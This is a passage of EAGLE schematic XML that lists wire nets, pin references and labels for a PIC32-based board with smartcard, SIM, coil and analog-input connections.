y2=\"119.634\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"119.888\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"3\"/>\n<wire x1=\"329.692\" y1=\"119.634\" x2=\"319.024\" y2=\"119.634\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"119.634\"/>\n</segment>\n</net>\n<net name=\"RB15\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN15/ERXD3/AETXD2/OCFB/PMALL/PMA0/CN12/RB15\"/>\n<wire x1=\"-43.18\" y1=\"58.42\" x2=\"-50.8\" y2=\"58.42\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"58.42\"/>\n<label x=\"-58.42\" y=\"58.42\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"63.5\" x2=\"274.32\" y2=\"63.5\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"63.754\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"25\"/>\n<junction x=\"274.32\" y=\"63.5\"/>\n</segment>\n</net>\n<net name=\"RB14\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN14/ERXD2/AETXD3/PMALH/PMA1/RB14\"/>\n<wire x1=\"-43.18\" y1=\"60.96\" x2=\"-50.8\" y2=\"60.96\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"60.96\"/>\n<label x=\"-58.42\" y=\"60.96\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"66.04\" x2=\"274.32\" y2=\"66.04\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"66.294\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"24\"/>\n<junction x=\"274.32\" y=\"66.04\"/>\n</segment>\n</net>\n<net name=\"ANALOG_INPUT\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN11/ERXERR/AETXERR/PMA12/RB11\"/>\n<wire x1=\"-43.18\" y1=\"68.58\" x2=\"-50.8\" y2=\"68.58\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"68.58\"/>\n<label x=\"-71.12\" y=\"68.58\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"81.28\" x2=\"274.32\" y2=\"81.28\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"238.76\" y=\"81.534\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"18\"/>\n<junction x=\"274.32\" y=\"81.28\"/>\n</segment>\n<segment>\n<wire x1=\"170.18\" y1=\"-55.88\" x2=\"386.08\" y2=\"-55.88\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"170.18\" y1=\"-60.96\" x2=\"170.18\" y2=\"-55.88\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"170.18\" y=\"-55.88\"/>\n<wire x1=\"170.18\" y1=\"-55.88\" x2=\"160.02\" y2=\"-55.88\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"D5\" gate=\"G$1\" pin=\"C1\"/>\n<pinref part=\"R17\" gate=\"G$1\" pin=\"1\"/>\n<label x=\"388.62\" y=\"-55.88\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"160.02\" y=\"-55.88\"/>\n<junction x=\"170.18\" y=\"-60.96\"/>\n</segment>\n</net>\n<net name=\"RB10\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN10/CVREFOUT/PMA13/RB10\"/>\n<wire x1=\"-43.18\" y1=\"71.12\" x2=\"-50.8\" y2=\"71.12\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"71.12\"/>\n<label x=\"-58.42\" y=\"71.12\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"83.82\" x2=\"274.32\" y2=\"83.82\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"84.074\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"17\"/>\n<junction x=\"274.32\" y=\"83.82\"/>\n</segment>\n</net>\n<net name=\"SMARTCARD_VCC\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN9/C2OUT/RB9\"/>\n<wire x1=\"-43.18\" y1=\"73.66\" x2=\"-50.8\" y2=\"73.66\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"73.66\"/>\n<label x=\"-73.66\" y=\"73.66\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"86.36\" x2=\"274.32\" y2=\"86.36\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"236.22\" y=\"86.614\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"16\"/>\n<junction x=\"274.32\" y=\"86.36\"/>\n</segment>\n<segment>\n<pinref part=\"U7\" gate=\"G$1\" pin=\"VCC_SIM_PIN_1\"/>\n<wire x1=\"419.1\" y1=\"109.22\" x2=\"408.94\" y2=\"109.22\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"383.54\" y=\"109.22\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"419.1\" y=\"109.22\"/>\n<pinref part=\"TP20\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"408.94\" y1=\"109.22\" x2=\"406.4\" y2=\"109.22\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"408.94\" y=\"109.22\"/>\n</segment>\n</net>\n<net name=\"RB8\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN8/C1OUT/RB8\"/>\n<wire x1=\"-43.18\" y1=\"76.2\" x2=\"-50.8\" y2=\"76.2\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"76.2\"/>\n<label x=\"-58.42\" y=\"76.2\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"88.9\" x2=\"274.32\" y2=\"88.9\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"89.154\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"15\"/>\n<junction x=\"274.32\" y=\"88.9\"/>\n</segment>\n</net>\n<net name=\"COIL_MODE\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN4/C1IN-/CN6/RB4\"/>\n<wire x1=\"-43.18\" y1=\"86.36\" x2=\"-50.8\" y2=\"86.36\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"86.36\"/>\n<label x=\"-66.04\" y=\"86.36\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"99.06\" x2=\"274.32\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"246.38\" y=\"99.314\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"11\"/>\n<junction x=\"274.32\" y=\"99.06\"/>\n</segment>\n<segment>\n<pinref part=\"R6\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-27.94\" y1=\"-111.76\" x2=\"-22.86\" y2=\"-111.76\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-7.874\" y=\"-112.776\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<junction x=\"-27.94\" y=\"-111.76\"/>\n</segment>\n</net>\n<net name=\"RB3\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN3/C2IN+/CN5/RB3\"/>\n<wire x1=\"-43.18\" y1=\"88.9\" x2=\"-50.8\" y2=\"88.9\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"88.9\"/>\n<label x=\"-58.42\" y=\"88.9\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"96.52\" x2=\"274.32\" y2=\"96.52\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"96.774\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"12\"/>\n<junction x=\"274.32\" y=\"96.52\"/>\n</segment>\n</net>\n<net name=\"RB2\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN2/C2IN-/CN4/RB2\"/>\n<wire x1=\"-43.18\" y1=\"91.44\" x2=\"-50.8\" y2=\"91.44\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"91.44\"/>\n<label x=\"-58.42\" y=\"91.44\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"269.24\" y1=\"154.94\" x2=\"259.08\" y2=\"154.94\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"256.54\" y=\"155.194\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP16\" gate=\"G$1\" pin=\"6\"/>\n<junction x=\"269.24\" y=\"154.94\"/>\n</segment>\n</net>\n<net name=\"SIM_CARD_DETECT\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"PGEC1/AN1/CN3/RB1\"/>\n<wire x1=\"-43.18\" y1=\"93.98\" x2=\"-50.8\" y2=\"93.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"93.98\"/>\n<label x=\"-76.2\" y=\"93.98\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"269.24\" y1=\"157.48\" x2=\"259.08\" y2=\"157.48\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"256.54\" y=\"157.734\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP16\" gate=\"G$1\" pin=\"7\"/>\n<junction x=\"269.24\" y=\"157.48\"/>\n</segment>\n</net>\n<net name=\"SMART_CARD_DETECT\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"PGED1/AN0/CN2/RB0\"/>\n<wire x1=\"-43.18\" y1=\"96.52\" x2=\"-50.8\" y2=\"96.52\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"96.52\"/>\n<label x=\"-78.74\" y=\"96.52\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"269.24\" y1=\"160.02\" x2=\"259.08\" y2=\"160.02\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"256.54\" y=\"160.274\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP16\" gate=\"G$1\" pin=\"8\"/>\n<junction x=\"269.24\" y=\"160.02\"/>\n</segment>\n</net>\n<net name=\"USER_LED_YELLOW\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AETXEN/SDA1/INT4/RA15\"/>\n<wire x1=\"-43.18\" y1=\"101.6\" x2=\"-50.8\" y2=\"101.6\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"101.6\"/>\n<label x=\"-73.66\" y=\"101.6\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"33.02\" x2=\"274.32\" y2=\"33.02\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"236.22\" y=\"33.274\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"37\"/>\n<junction x=\"274.32\" y=\"33.02\"/>\n</segment>\n<segment>\n<pinref part=\"LED3\" gate=\"G$1\" pin=\"C\"/>\n<wire x1=\"-137.16\" y1=\"35.56\" x2=\"-127\" y2=\"35.56\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-124.46\" y=\"35.56\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"-137.16\" y=\"35.56\"/>\n</segment>\n</net>\n<net name=\"RA10\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"VREF+/CVREF+/AERXD3/PMA6/RA10\"/>\n<wire x1=\"-43.18\" y1=\"106.68\" x2=\"-50.8\" y2=\"106.68\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"106.68\"/>\n<label x=\"-58.42\" y=\"106.68\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"91.44\" x2=\"274.32\" y2=\"91.44\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"91.694\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"14\"/>\n<junction x=\"274.32\" y=\"91.44\"/>\n</segment>\n</net>\n<net name=\"RA9\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"VREF-/CVREF-/AERXD2/PMA7/RA9\"/>\n<wire x1=\"-43.18\" y1=\"109.22\" x2=\"-50.8\" y2=\"109.22\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"109.22\"/>\n<label x=\"-58.42\" y=\"109.22\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"93.98\" x2=\"274.32\" y2=\"93.98\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"94.234\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"13\"/>\n<junction x=\"274.32\" y=\"93.98\"/>\n</segment>\n</net>\n<net name=\"RA7\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"TRD3/RA7\"/>\n<wire x1=\"-43.18\" y1=\"111.76\" x2=\"-50.8\" y2=\"111.76\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"111.76\"/>\n<label x=\"-58.42\" y=\"111.76\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"86.614\" x2=\"329.692\" y2=\"86.614\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"86.868\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"16\"/>\n<wire x1=\"329.692\" y1=\"86.614\" x2=\"319.024\" y2=\"86.614\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"86.614\"/>\n</segment>\n</net>\n<net name=\"RA6\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"TRCLK/RA6\"/>\n<wire x1=\"-43.18\" y1=\"114.3\" x2=\"-50.8\" y2=\"114.3\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"114.3\"/>\n<label x=\"-58.42\" y=\"114.3\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"84.074\" x2=\"329.692\" y2=\"84.074\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"324.104\" y=\"84.328\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"17\"/>\n<wire x1=\"329.692\" y1=\"84.074\" x2=\"319.024\" y2=\"84.074\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"84.074\"/>\n</segment>\n</net>\n<net name=\"OR_IN_B\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"TDO/RA5\"/>\n<wire x1=\"-43.18\" y1=\"116.84\" x2=\"-50.8\" y2=\"116.84\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"116.84\"/>\n<label x=\"-63.5\" y=\"116.84\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"38.1\" x2=\"274.32\" y2=\"38.1\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"246.38\" y=\"38.354\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"35\"/>\n<junction x=\"274.32\" y=\"38.1\"/>\n</segment>\n<segment>\n<wire x1=\"373.38\" y1=\"-83.82\" x2=\"386.08\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"398.78\" y=\"-83.058\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<pinref part=\"R44\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"373.38\" y=\"-83.82\"/>\n</segment>\n</net>\n<net name=\"OR_IN_A\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"TDI/RA4\"/>\n<wire x1=\"-43.18\" y1=\"119.38\" x2=\"-50.8\" y2=\"119.38\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"119.38\"/>\n<label x=\"-63.5\" y=\"119.38\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"40.64\" x2=\"274.32\" y2=\"40.64\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"246.38\" y=\"40.894\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"34\"/>\n<junction x=\"274.32\" y=\"40.64\"/>\n</segment>\n<segment>\n<wire x1=\"373.38\" y1=\"-73.66\" x2=\"386.08\" y2=\"-73.66\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"398.78\" y=\"-72.644\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<pinref part=\"R43\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"373.38\" y=\"-73.66\"/>\n</segment>\n</net>\n<net name=\"LC_FREQ\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SCL2/RA2\"/>\n<wire x1=\"-43.18\" y1=\"124.46\" x2=\"-50.8\" y2=\"124.46\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"124.46\"/>\n<label x=\"-58.42\" y=\"124.46\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"45.72\" x2=\"274.32\" y2=\"45.72\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"45.974\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"32\"/>\n<junction x=\"274.32\" y=\"45.72\"/>\n</segment>\n<segment>\n<label x=\"127\" y=\"-185.42\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"93.98\" y1=\"-193.04\" x2=\"142.24\" y2=\"-193.04\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R40\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"R39\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"93.98\" y1=\"-175.26\" x2=\"88.9\" y2=\"-175.26\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R38\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"91.44\" y1=\"-198.12\" x2=\"93.98\" y2=\"-198.12\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"93.98\" y1=\"-198.12\" x2=\"93.98\" y2=\"-193.04\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"93.98\" y1=\"-193.04\" x2=\"93.98\" y2=\"-175.26\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"93.98\" y=\"-193.04\"/>\n<junction x=\"91.44\" y=\"-198.12\"/>\n<junction x=\"93.98\" y=\"-198.12\"/>\n<junction x=\"93.98\" y=\"-175.26\"/>\n<junction x=\"88.9\" y=\"-175.26\"/>\n<pinref part=\"TP46\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"142.24\" y1=\"-193.04\" x2=\"142.24\" y2=\"-185.42\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"142.24\" y1=\"-185.42\" x2=\"127\" y2=\"-185.42\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"121.92\" y=\"-198.12\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"119.38\" y1=\"-198.12\" x2=\"93.98\" y2=\"-198.12\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U4\" gate=\"B\" pin=\"OUT\"/>\n</segment>\n</net>\n<net name=\"RA1\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"TCK/RA1\"/>\n<wire x1=\"-43.18\" y1=\"127\" x2=\"-50.8\" y2=\"127\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"127\"/>\n<label x=\"-58.42\" y=\"127\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"78.74\" x2=\"274.32\" y2=\"78.74\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"78.994\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"19\"/>\n<junction x=\"274.32\" y=\"78.74\"/>\n</segment>\n</net>\n<net name=\"RA0\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"TMS/RA0\"/>\n<wire x1=\"-43.18\" y1=\"129.54\" x2=\"-50.8\" y2=\"129.54\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"129.54\"/>\n<label x=\"-58.42\" y=\"129.54\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"109.22\" x2=\"274.32\" y2=\"109.22\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"109.474\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"7\"/>\n<junction x=\"274.32\" y=\"109.22\"/>\n</segment>\n</net>\n<net name=\"VBUS\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"VBUS\"/>\n<wire x1=\"-43.18\" y1=\"137.16\" x2=\"-50.8\" y2=\"137.16\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"137.16\"/>\n<label x=\"-58.42\" y=\"137.16\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<pinref part=\"P+1\" gate=\"1\" pin=\"+5V\"/>\n<pinref part=\"C27\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"33.02\" y1=\"231.14\" x2=\"22.86\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"22.86\" y1=\"231.14\" x2=\"17.78\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"33.02\" y1=\"226.06\" x2=\"33.02\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"33.02\" y=\"236.22\"/>\n<junction x=\"33.02\" y=\"236.22\"/>\n<junction x=\"33.02\" y=\"226.06\"/>\n<pinref part=\"U4\" gate=\"P\" pin=\"V+\"/>\n<junction x=\"17.78\" y=\"231.14\"/>\n<pinref part=\"C28\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"45.72\" y1=\"226.06\" x2=\"45.72\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"45.72\" y=\"226.06\"/>\n<wire x1=\"33.02\" y1=\"236.22\" x2=\"33.02\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"33.02\" y1=\"231.14\" x2=\"45.72\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C25\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"45.72\" y1=\"231.14\" x2=\"58.42\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"58.42\" y1=\"231.14\" x2=\"58.42\" y2=\"226.06\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C29\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"58.42\" y1=\"231.14\" x2=\"68.58\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"68.58\" y1=\"231.14\" x2=\"68.58\" y2=\"226.06\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"68.58\" y=\"226.06\"/>\n<junction x=\"58.42\" y=\"226.06\"/>\n<junction x=\"58.42\" y=\"231.14\"/>\n<junction x=\"45.72\" y=\"231.14\"/>\n<junction x=\"33.02\" y=\"231.14\"/>\n<pinref part=\"C26\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"22.86\" y1=\"226.06\" x2=\"22.86\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"22.86\" y=\"226.06\"/>\n<junction x=\"22.86\" y=\"231.14\"/>\n</segment>\n<segment>\n<pinref part=\"R8\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"P+2\" gate=\"VCC\" pin=\"VCC\"/>\n<wire x1=\"68.58\" y1=\"-106.68\" x2=\"68.58\" y2=\"-104.14\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"68.58\" y=\"-106.68\"/>\n<junction x=\"68.58\" y=\"-104.14\"/>\n<wire x1=\"68.58\" y1=\"-104.14\" x2=\"68.58\" y2=\"-103.886\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n<segment>\n<pinref part=\"U3\" gate=\"G$1\" pin=\"VDD\"/>\n<pinref part=\"P+4\" gate=\"1\" pin=\"+5V\"/>\n<wire x1=\"350.52\" y1=\"-99.06\" x2=\"350.52\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"350.52\" y=\"-99.06\"/>\n<junction x=\"350.52\" y=\"-93.98\"/>\n</segment>\n<segment>\n<pinref part=\"U2\" gate=\"A\" pin=\"VCC\"/>\n<wire x1=\"289.56\" y1=\"-106.68\" x2=\"289.56\" y2=\"-98.552\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"5V0\" gate=\"1\" pin=\"+5V\"/>\n<junction x=\"289.56\" y=\"-106.68\"/>\n<junction x=\"289.56\" y=\"-98.552\"/>\n</segment>\n<segment>\n<pinref part=\"U$16\" gate=\"G$1\" pin=\"5V\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"39\"/>\n<wire x1=\"329.692\" y1=\"28.194\" x2=\"311.404\" y2=\"28.194\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"28.194\"/>\n</segment>\n<segment>\n<wire x1=\"274.32\" y1=\"27.94\" x2=\"254\" y2=\"27.94\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"VALUE\" gate=\"G$1\" pin=\"5V\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"39\"/>\n<junction x=\"274.32\" y=\"27.94\"/>\n<junction x=\"254\" y=\"27.94\"/>\n</segment>\n<segment>\n<wire x1=\"139.7\" y1=\"233.68\" x2=\"139.7\" y2=\"238.76\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"139.7\" y1=\"233.68\" x2=\"129.54\" y2=\"233.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"139.7\" y1=\"226.06\" x2=\"139.7\" y2=\"233.68\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"139.7\" y=\"233.68\"/>\n<pinref part=\"U$12\" gate=\"G$1\" pin=\"5V\"/>\n<pinref part=\"C30\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"139.7\" y=\"226.06\"/>\n<junction x=\"139.7\" y=\"238.76\"/>\n<pinref part=\"U8\" gate=\"G$1\" pin=\"IN\"/>\n<junction x=\"129.54\" y=\"233.68\"/>\n</segment>\n<segment>\n<pinref part=\"U5\" gate=\"A\" pin=\"VCC\"/>\n<pinref part=\"5V1\" gate=\"1\" pin=\"+5V\"/>\n<wire x1=\"-40.64\" y1=\"-58.42\" x2=\"-48.26\" y2=\"-58.42\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-48.26\" y=\"-58.42\"/>\n<junction x=\"-40.64\" y=\"-58.42\"/>\n</segment>\n<segment>\n<pinref part=\"F1\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"193.04\" y1=\"231.14\" x2=\"187.96\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"182.88\" y=\"231.14\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"193.04\" y=\"231.14\"/>\n</segment>\n<segment>\n<pinref part=\"R39\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"R41\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"93.98\" y1=\"-165.1\" x2=\"83.82\" y2=\"-165.1\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"83.82\" y1=\"-165.1\" x2=\"76.2\" y2=\"-165.1\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"76.2\" y1=\"-165.1\" x2=\"83.82\" y2=\"-165.1\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"83.82\" y1=\"-165.1\" x2=\"83.82\" y2=\"-162.56\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"5V2\" gate=\"1\" pin=\"+5V\"/>\n<junction x=\"76.2\" y=\"-165.1\"/>\n<junction x=\"83.82\" y=\"-165.1\"/>\n<junction x=\"83.82\" y=\"-162.56\"/>\n<junction x=\"93.98\" y=\"-165.1\"/>\n</segment>\n<segment>\n<pinref part=\"R12\" gate=\"G$1\" 